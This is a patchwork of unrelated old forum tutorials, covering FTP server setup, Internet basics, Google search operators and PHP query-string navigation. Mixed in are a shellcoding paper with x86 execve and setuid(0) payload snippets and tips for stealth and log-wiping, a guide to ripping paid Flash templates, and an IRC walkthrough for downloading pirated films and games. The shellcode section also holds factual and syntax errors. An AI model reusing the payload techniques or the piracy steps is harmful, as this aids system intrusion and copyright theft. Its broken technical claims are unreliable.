Anti-hammering is also good, as it prevents people from slowing down your speed. From here, click 'Log Options' from the left column. If you would like to see and record every single command and clutter up your screen, leave the defaults.

But, if you would like to see what is going on with the lowest possible space taken, click 'Screen' in the top column. You should then check off 'Log successful logins', and all of the options in the client directry, except 'Log directory changes'. After doing so, click 'Ok' in the bottom left corner.

You will then have to go into 'Setup -> User Accounts' (or ctrl & u). From here, you should click on the right most column, and right click. Choose 'Add', and choose the username(s) you would like people to have access to.

After giving a name (ex: themoonlanding), you will have to give them a set password in the bottom column (ex: wasfaked). For the 'Home IP' directory, (if you registered with a static server, check 'All IP Homes'. If your IP is static by default, choose your IP from the list. You will then have to right click in the very center column, and choose 'Add'.

From here, you will have to set the directory you want the people to have access to. After choosing the directory, I suggest you choose the options 'Read', 'List', and 'Subdirs', unless of course you know what you're doing . After doing so, make an 'upload' folder in the directory, and choose to 'add' this folder seperately to the center column. Choose 'write', 'append', 'make', 'list', and 'subdirs'. This will allow them to upload only to specific folders (your upload folder).

Now click on 'Miscellaneous' from the left column. Choose 'enable account', your time-out (how long it takes for people to remain idle before you automatically kick them off), the maximum number of users for this name, the maximum number of connections allowed simultaneously for one ip address, show relative path (a must!), and any other things at the bottom you'd like to have. Now click 'Ok'.
**Requested**


From this main menu, click the little boxing glove icon in the top corner, and right click and unchoose the hit-o-meter for both uploads and downloads (with this you can monitor IP activity). Now click the lightning bolt, and your server is now up and running.

Post your ftp info, like this:

213.10.93.141 (or something else, such as: 'f*p://example.getmyip.com')

User: *** (The username of the client)

Pass: *** (The password)

Port: *** (The port number you chose)

So make a FTP and join the FTP section


Listing The Contents Of A Ftp:

Listing the content of a FTP is very simple.
You will need FTP Content Maker, which can be downloaded from here:
ht*p://www.etplanet.com/download/application/FTP%20Content%20Maker%201.02.zip

1. Put in the IP of the server. Do not put "ftp://" or a "/" because it will not work if you do so.
2. Put in the port. If the port is the default number, 21, you do not have to enter it.
3. Put in the username and password in the appropriate fields. If the login is anonymous, you do not have to enter it.
4. If you want to list a specific directory of the FTP, place it in the directory field. Otherwise, do not enter anything in the directory field.
5. Click "Take the List!"
6. After the list has been taken, click the UBB output tab, and copy and paste to wherever you want it.


If FTP Content Maker is not working, it is probably because the server does not utilize Serv-U Software.

If you get this error message:
StatusCode = 550
LastResponse was : 'Unable to open local file test-ftp'
Error = 550 (Unable to open local file test-ftp)
Error = Unable to open local file test-ftp = 550
Close and restart FTP Content Maker, then try again.

article FTP Part 1 | Part 3

Everything About FTP - Part 1

must read

Setting Up A Ftp:


Well, since many of us have always wondered this, here it is. Long and drawn out. Also, before attempting this, realize one thing; You will have to give up your time, effort, bandwidth, and security to have a quality ftp server.
That being said, here it goes. First of all, find out if your IP (Internet Protocol) is static (not changing) or dynamic (changes everytime you log on). To do this, first consider the fact if you have a dial up modem. If you do, chances are about 999 999 out of 1 000 000 that your IP is dynamic. To make it static, just go to a place like h*tp://www.myftp.org/ to register for a static ip address.

You'll then need to get your IP. This can be done by doing this:
Going to Start -> Run -> winipcfg or www.ask.com and asking 'What is my IP?'

After doing so, you'll need to download an FTP server client. Personally, I'd recommend G6 FTP Server, Serv-U FTPor Bullitproof v2.15 all three of which are extremely reliable, and the norm of the ftp world.
You can download them on this site: h*tp://www.liaokai.com/softw_en/d_index.htm

First, you'll have to set up your ftp. For this guide, I will use step-by-step instructions for G6. First, you'll have to go into 'Setup -> General'. From here, type in your port # (default is 21). I recommend something unique, or something a bit larger (ex: 3069). If you want to, check the number of max users (this sets the amount of simultaneous maximum users on your server at once performing actions - The more on at once, the slower the connection and vice versa).

The below options are then chooseable:
-Launch with windows
-Activate FTP Server on Start-up
-Put into tray on startup
-Allow multiple instances
-Show "Loading..." status at startup
-Scan drive(s) at startup
-Confirm exit

You can do what you want with these, as they are pretty self explanatory. The scan drive feature is nice, as is the 2nd and the last option. From here, click the 'options' text on the left column.

continue FTP Part 2

Advanced Shellcoding Techniques

Introduction

This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper. I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes. I do not claim to have invented any of these techniques, except for the one that uses the div instruction.



The multiplicity of mul

This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it's purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.

mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:

movl $0x0a,%eax
mul $0x0a

This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).

So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it's about time for some example code, so here it is:

xorl %ecx,%ecx
mul %ecx

What is this shellcode doing? Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax's previous contents, %eax must now be 0. However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.


The div instruction

Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let's think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:


xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80

divl %eax # -1 / -1 = 1
int $0x80

Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.



Unlocking the power of leal

The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.

xorl %ecx,%ecx
leal 0x10(%ecx),%eax

This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it's desitination operand. In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:

xorl %eax,%eax
movb $0x10,%eax

I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted. Here's an example:

xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80

xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80

Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.

A Basic Guide to the Internet

The Internet is a computer network made up of thousands of networks worldwide. No one knows exactly how many computers are connected to the Internet. It is certain, however, that these number in the millions.

No one is in charge of the Internet. There are organizations which develop technical aspects of this network and set standards for creating applications on it, but no governing body is in control. The Internet backbone, through which Internet traffic flows, is owned by private companies.

All computers on the Internet communicate with one another using the Transmission Control Protocol/Internet Protocol suite, abbreviated to TCP/IP. Computers on the Internet use a client/server architecture. This means that the remote server machine provides files and services to the user's local client machine. Software can be installed on a client computer to take advantage of the latest access technology.

An Internet user has access to a wide variety of services: electronic mail, file transfer, vast information resources, interest group membership, interactive collaboration, multimedia displays, real-time broadcasting, shopping opportunities, breaking news, and much more.

The Internet consists primarily of a variety of access protocols. Many of these protocols feature programs that allow users to search for and retrieve material made available by the protocol.


--------------------------------------------------------------------------------

COMPONENTS OF THE INTERNET

--------------------------------------------------------------------------------

WORLD WIDE WEB
The World Wide Web (abbreviated as the Web or WWW) is a system of Internet servers that supports hypertext to access several Internet protocols on a single interface. Almost every protocol type available on the Internet is accessible on the Web. This includes e-mail, FTP, Telnet, and Usenet News. In addition to these, the World Wide Web has its own protocol: HyperText Transfer Protocol, or HTTP. These protocols will be explained later in this document.

The World Wide Web provides a single interface for accessing all these protocols. This creates a convenient and user-friendly environment. It is no longer necessary to be conversant in these protocols within separate, command-level environments. The Web gathers together these protocols into a single system. Because of this feature, and because of the Web's ability to work with multimedia and advanced programming languages, the Web is the fastest-growing component of the Internet.

The operation of the Web relies primarily on hypertext as its means of information retrieval. HyperText is a document containing words that connect to other documents. These words are called links and are selectable by the user. A single hypertext document can contain links to many documents. In the context of the Web, words or graphics may serve as links to other documents, images, video, and sound. Links may or may not follow a logical path, as each connection is programmed by the creator of the source document. Overall, the Web contains a complex virtual web of connections among a vast number of documents, graphics, videos, and sounds.

Producing hypertext for the Web is accomplished by creating documents with a language called HyperText Markup Language, or HTML. With HTML, tags are placed within the text to accomplish document formatting, visual features such as font size, italics and bold, and the creation of hypertext links. Graphics and multimedia may also be incorporated into an HTML document. HTML is an evolving language, with new tags being added as each upgrade of the language is developed and released. The World Wide Web Consortium (W3C), led by Web founder Tim Berners-Lee, coordinates the efforts of standardizing HTML. The W3C now calls the language XHTML and considers it to be an application of the XML language standard.

The World Wide Web consists of files, called pages or home pages, containing links to documents and resources throughout the Internet.

The Web provides a vast array of experiences including multimedia presentations, real-time collaboration, interactive pages, radio and television broadcasts, and the automatic "push" of information to a client computer. Programming languages such as Java, JavaScript, Visual Basic, Cold Fusion and XML are extending the capabilities of the Web. A growing amount of information on the Web is served dynamically from content stored in databases. The Web is therefore not a fixed entity, but one that is in a constant state of development and flux.

For more complete information about the World Wide Web, see Understanding The World Wide Web.

E-MAIL
Electronic mail, or e-mail, allows computer users locally and worldwide to exchange messages. Each user of e-mail has a mailbox address to which messages are sent. Messages sent through e-mail can arrive within a matter of seconds.

A powerful aspect of e-mail is the option to send electronic files to a person's e-mail address. Non-ASCII files, known as binary files, may be attached to e-mail messages. These files are referred to as MIME attachments.MIME stands for Multimedia Internet Mail Extension, and was developed to help e-mail software handle a variety of file types. For example, a document created in Microsoft Word can be attached to an e-mail message and retrieved by the recipient with the appropriate e-mail program. Many e-mail programs, including Eudora, Netscape Messenger, and Microsoft Outlook, offer the ability to read files written in HTML, which is itself a MIME type.

TELNET
Telnet is a program that allows you to log into computers on the Internet and use online databases, library catalogs, chat services, and more. There are no graphics in Telnet sessions, just text. To Telnet to a computer, you must know its address. This can consist of words (locis.loc.gov) or numbers (140.147.254.3). Some services require you to connect to a specific port on the remote computer. In this case, type the port number after the Internet address. Example: telnet nri.reston.va.us 185.

Telnet is available on the World Wide Web. Probably the most common Web-based resources available through Telnet have been library catalogs, though most catalogs have since migrated to the Web. A link to a Telnet resource may look like any other link, but it will launch a Telnet session to make the connection. A Telnet program must be installed on your local computer and configured to your Web browser in order to work.

With the increasing popularity of the Web, Telnet has become less frequently used as a means of access to information on the Internet.

FTP
FTP stands for File Transfer Protocol. This is both a program and the method used to transfer files between computers. Anonymous FTP is an option that allows users to transfer files from thousands of host computers on the Internet to their personal computer account. FTP sites contain books, articles, software, games, images, sounds, multimedia, course work, data sets, and more.

If your computer is directly connected to the Internet via an Ethernet cable, you can use one of several PC software programs, such as WS_FTP for Windows, to conduct a file transfer.

FTP transfers can be performed on the World Wide Web without the need for special software. In this case, the Web browser will suffice. Whenever you download software from a Web site to your local machine, you are using FTP. You can also retrieve FTP files via search engines such as FtpFind, located at /http://www.ftpfind.com/. This option is easiest because you do not need to know FTP program commands.

E-MAIL DISCUSSION GROUPS
One of the benefits of the Internet is the opportunity it offers to people worldwide to communicate via e-mail. The Internet is home to a large community of individuals who carry out active discussions organized around topic-oriented forums distributed by e-mail. These are administered by software programs. Probably the most common program is the listserv.

A great variety of topics are covered by listservs, many of them academic in nature. When you subscribe to a listserv, messages from other subscribers are automatically sent to your electronic mailbox. You subscribe to a listserv by sending an e-mail message to a computer program called a listserver. Listservers are located on computer networks throughout the world. This program handles subscription information and distributes messages to and from subscribers. You must have a e-mail account to participate in a listserv discussion group. Visit Tile.net at /http://tile.net/ to see an example of a site that offers a searchablecollection of e-mail discussion groups.

Majordomo and Listproc are two other programs that administer e-mail discussion groups. The commands for subscribing to and managing your list memberships are similar to those of listserv.

USENET NEWS
Usenet News is a global electronic bulletin board system in which millions of computer users exchange information on a vast range of topics. The major difference between Usenet News and e-mail discussion groups is the fact that Usenet messages are stored on central computers, and users must connect to these computers to read or download the messages posted to these groups. This is distinct from e-mail distribution, in which messages arrive in the electronic mailboxes of each list member.

Usenet itself is a set of machines that exchanges messages, or articles, from Usenet discussion forums, called newsgroups. Usenet administrators control their own sites, and decide which (if any) newsgroups to sponsor and which remote newsgroups to allow into the system.

There are thousands of Usenet newsgroups in existence. While many are academic in nature, numerous newsgroups are organized around recreational topics. Much serious computer-related work takes place in Usenet discussions. A small number of e-mail discussion groups also exist as Usenet newsgroups.

The Usenet newsfeed can be read by a variety of newsreader software programs. For example, the Netscape suite comes with a newsreader program called Messenger. Newsreaders are also available as standalone products.

FAQ, RFC, FYI
FAQ stands for Frequently Asked Questions. These are periodic postings to Usenet newsgroups that contain a wealth of information related to the topic of the newsgroup. Many FAQs are quite extensive. FAQs are available by subscribing to individual Usenet newsgroups. A Web-based collection of FAQ resources has been collected by The Internet FAQ Consortium and is available at /http://www.faqs.org/.

RFC stands for Request for Comments. These are documents created by and distributed to the Internet community to help define the nuts and bolts of the Internet. They contain both technical specifications and general information.

FYI stands for For Your Information. These notes are a subset of RFCs and contain information of interest to new Internet users.

Links to indexes of all three of these information resources are available on the University Libraries Web site at /http://library.albany.edu/reference/faqs.html.

CHAT & INSTANT MESSENGING
Chat programs allow users on the Internet to communicate with each other by typing in real time. They are sometimes included as a feature of a Web site, where users can log into the "chat room" to exchange comments and information about the topics addressed on the site. Chat may take other, more wide-ranging forms. For example, America Online is well known for sponsoring a number of topical chat rooms.

Internet Relay Chat (IRC) is a service through which participants can communicate to each other on hundreds of channels. These channels are usually based on specific topics. While many topics are frivolous, substantive conversations are also taking place. To access IRC, you must use an IRC software program.

A variation of chat is the phenomenon of instant messenging. With instant messenging, a user on the Web can contact another user currently logged in and type a conversation. Most famous is America Online's Instant Messenger. ICQ, MSN and Yahoo are other commonly-used chat programs.

Other types of real-time communication are addressed in the tutorial Understanding the World Wide Web.

MUD/MUSH/MOO/MUCK/DUM/MUSE
MUD stands for Multi User Dimension. MUDs, and their variations listed above, are multi-user virtual reality games based on simulated worlds. Traditionally text based, graphical MUDs now exist. There are MUDs of all kinds on the Internet, and many can be joined free of charge.

20 Great Google Secret

Google is clearly the best general-purpose search engine on the Web (see

www.pcmag.com/searchengines

But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.

But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.

Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at

www.google.com/help/operators.html

Here are some advanced operators that can help narrow down your search results.

Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.

Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as

www.mysite.com/index.html

you can enter intext:html.

Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in

link:http://www.pcmag.com


Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature.

lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."

Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.

Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search.


Extended Googling

Google offers several services that give you a head start in focusing your search. Google Groups.

indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle.

which indexes products from online stores, and Google Catalogs


which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at

You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?

Google Alert (www.googlealert.com)

monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts.

This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)

Google on the telephone? Yup. This service is brought to you by the folks at Google Labs Google Labs, a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search GVS Google Labs, you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.

In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from CODE www.google.com/apis.

See the figures for two more examples, and visit www.pcmag.com/solutions for more.

Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.


Online Extra: More Google Tips


Here are a few more clever ways to tweak your Google searches.

Search Within a Timeframe

Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as

CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif


), but an easier way is to do a Google daterange: search by filling in a form at

www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml

. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.

More Google API Applications

Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query

(www.staggernation.com/gawsh/).

When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL

(www.staggernation.com/garbo/).

Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.

PHP Navigation - IGameNet.Blogspot.Com - Coding


if($_SERVER['QUERY_STRING'] == "SoD")
print "owns you!";
else
print "don't front!";
?>


Description: Instead of calling files like ( index.php?str=blah ) , you could do ( index.php?SoD ) and it would print out "owns you!". You can add more strings in there, this is just an example.



$vars = explode(",", urldecode(getenv('QUERY_STRING')));
$v1 = array_shift($vars);
$v2 = array_shift($vars);
$v3 = array_shift($vars);

switch ($v1) {
case 'first.1': {
print("This is v1, first string case 'file.php?first.1'.");
break;
}
case 'first.2': {
switch ($v2) {
case 'second': {
switch($v3) {
case 'third': {
print("This is v3, the last case 'file.php?first.2,second,third'.");
break;
}
}
}
}
}
}


Description: This basically does what the 1st one does but with more strings and a different seperator rather than '&'. I don't really want to go into too much detail on the thread so if people are confused or need explaining, reply or PM me.

That's it for the navigation as I am not going to do the other due to they're everywhere else and I wanted to be different and show everyone this method.

How To RIP TM Dynamic Flash Templates - IGameNet.Blogspot.Com

How to Rip TM Dynamic Flash Templates
by: Baisan

What you need:

Sample dynamic flash template from TM website
Sothink SWF Decompiler
Macromedia Flash
Yourself


1. browse or search your favorite dynamic flash template in TM website. If you got one... click the "view" link and new window will open with dynamic flash.. loading...

2. If the movie fully loaded, click View -> Source in your browser to bring the source code of the current page and in the source code, search for "IFRAME" and you will see the iframe page. In this example were going to try the 7045 dynamic template. get the URL(ex.
http://images.templatemonster.com/screenshots/7000/7045.html) then paste it to your browser... easy eh? wait! dont be to excited... erase the .html and change it to swf then press enter then you'll see the flash movie again icon_smile.gif.

3. copy the URL and download that SWF file.. use your favorite download manager.. mine I used flashget icon_smile.gif NOTE: dont close the browser we may need that later on.

4. open your Sothink SWF decompiler... click "Quick Open" then browse where you download your SWF/movie file. Click Export FLA to export your SWF to FLA, in short, save it as FLA icon_smile.gif

5. Open your Macromedia FLash and open the saved FLA file. press Control+Enter or publish the file... then wallah! the output window will come up with "Error opening URL blah blah blah..." dont panic, that error will help you where to get the remaining files.

6. Copy the first error, example: "7045_main.html" then go back to your browser and replace the 7045.swf to 7045_main.html press enter and you'll see a lot of text... nonsense text icon_lol.gif that text are your contents...

NOTE: when you save the remaining files dont forget to save with underscore sign (_) in the front on the file without the TM item number (e.g. 7045) if it is html save it as "_main.html" and same with the image save it as "_works1.jpg" save them where you save the FLA and SWF files. Continue browsing the file inside Flash application so you can track the remaining files... do the same until you finish downloading all the remaining the files.

#DataVault, Irc Warez

Not Sure If Many People Use This Site, however heres A Few Steps To getting In.. And Getting The Latest Games..

Right 1st You Need mIRC (Download Below)

http://www.ircadmin.net/mirc/mirc614.exe


Once Downloaded And Installed.. Next Step Is To Get Yourself Connected To The Datavault Network..

Step 1 :- Open irc, Goto Tools,Options. Then Servers, Click Add
Under Description Type : DataVault
Under IRC Server Type : irc.addictz.net
Under Port(S) Type : 6667-6669

Now Click Ok..

Step 2 : Connecting To Irc.Addictz.Net

Goto Tools/Options/Servers
Select Datavault From Drop Down Menu
Tick "New Server Window"
Then Click Connect

A New Window Will Open Telling You That You Are Connecting To Irc.Addictz.net

Step 3 : Now You Have To Register YourSelf.

In The Window Type /msg nickserv register "your Password" "Your Valid Email"
Next Type /msg NickServ IDENTIFY "The Password You Just Entered"

It Should Now Say Your Registered!

Now Type /J #Datavault

Step 4 : The Bots In DataVault Spam What They Host Every 1 Hour, Becareful Not To Spam These Or Else You Will Be Banned..

Every Hour You Will See What Looks Like Below :-

** To request a file type: "/msg slut02 BITCH send #x
#1 392x [0.7G] Torque.DVDRiP.XviD-BRUTUS
#2 1509x [0.7G] The.Butterfly.Effect.DVDRip.XviD-DMT

It's Simple To Request A Download Now..

There Are Different Bots With Different Names, Ie Slut02 Is Just One Bot, There Are More Called Dv44, Dv33 Slut03 Etc.. However The Trigger Principle Is The Sa,e

Now If For Example You Wanted To Download "The ButterFly Effect", In The Main Chat Window You Would Type or Copy /msg slut02 BITCH send #2

Let Me Explaine.. /msg Is The Trigger, Slut02 Is The Bot BITCH and Send Are Both Triggers #2 Is The File Number You Want. Each Bot Can Host Numerouse Files, Ie #1 Being Another Film, #3 Also Being Another Film.

Once You Have Done That And Press Return, Just Sit Back And Wait.. Either The Download Will Start Straight Away, Or You Will Be Qued (*Cough Dodgy Spelling*)

Right Now To The Benifits Of #Datavault.

1: The Latest Release Of Most Films And Games.
2: 99.99% The Time You Get To Download At You Max BandWidth No Matter Your Connection (Either 56k (Omg Dont Download A 3 Gig File On That!!), Or A T1/OC3 Connection))

I Hope Someone Finds This HelpFull, If It's In The Wrong Place/ Or Inappropriate Then Plz Delete And Serve Me The Warning I Deserve....

Edit : It's A Good Idea To Have Auto Accept Dcc On, Incase Your Away When You Come InLine For Your Download, Generally Even If Your 20th In Que And It Says 3 Hours Wait, Your Prolly Looking At Around 30 Mins Waiting Slot..

Any Problems Please Let Me Know.